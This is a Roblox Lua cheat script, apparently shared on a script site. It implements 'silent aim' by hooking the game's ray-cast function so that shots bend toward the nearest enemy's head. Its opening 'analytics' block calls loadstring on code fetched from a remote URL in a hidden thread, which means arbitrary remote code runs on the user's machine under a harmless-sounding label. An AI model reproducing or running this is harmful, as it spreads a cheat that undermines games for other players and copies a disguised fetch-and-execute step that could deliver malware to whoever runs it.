-- [[ Rscripts Risk Notice ]] -- This script is not verified by rscripts.net. Deal with caution. -- -- Stay safe: -- • Never log in on unofficial Roblox sites or lookalike domains. -- • Real Roblox links use roblox.com (check the .com ending). -- • Treat fake Roblox login / "claim reward" pages as phishing. -- [[ End Rscripts Risk Notice ]] --[[rscripts:analytics:start]] -- Script analytics (enabled by the creator on rscripts.net). -- Runs in its own thread and cannot affect the script below. task.spawn(function() pcall(function() loadstring(game:HttpGet("https://rscripts.net/api/telemetry/v2/client.lua?s=6b13799836fcee5ec93fa11e"))() end) end) --[[rscripts:analytics:end]] local cfg = { sm = true, targetpart = "Head", fov = 150 } local players = game:GetService("Players") local rs = game:GetService("ReplicatedStorage") local lp = players.LocalPlayer local gf = require(rs.Modules.GeneralFunctions) local tc = require(rs.Modules.TeamCheck) local activetargets = {} task.spawn(function() while task.wait(0.5) do local t = {} for _, p in ipairs(players:GetPlayers()) do local c = p ~= lp and p.Character local h = c and c:FindFirstChildOfClass("Humanoid") local part = c and c:FindFirstChild(cfg.targetpart) if h and h.Health > 0 and part and tc.isteam(lp, c) == false then table.insert(t, part) end end activetargets = t end end) local function getClosestTarget() if not cfg.sm then return nil, nil end local currentCam = workspace.CurrentCamera if not currentCam then return nil, nil end local dist, pos, target = cfg.fov, nil, nil local center = currentCam.ViewportSize / 2 for _, part in ipairs(activetargets) do if part and part.Parent then local sp, on = currentCam:WorldToViewportPoint(part.Position) local d = (Vector2.new(sp.X, sp.Y) - center).Magnitude if on and d < dist then dist, pos, target = d, part.Position, part end end end return pos, target end local oc oc = hookfunction(gf.cast, function(ray, ignore, ...) local currentCam = workspace.CurrentCamera if cfg.sm and currentCam and ray and (ray.Origin - currentCam.CFrame.Position).Magnitude < math.huge then local pos = getClosestTarget() if pos then ray = Ray.new(ray.Origin, (pos - ray.Origin).Unit * ray.Direction.Magnitude) end end return oc(ray, ignore, ...) end)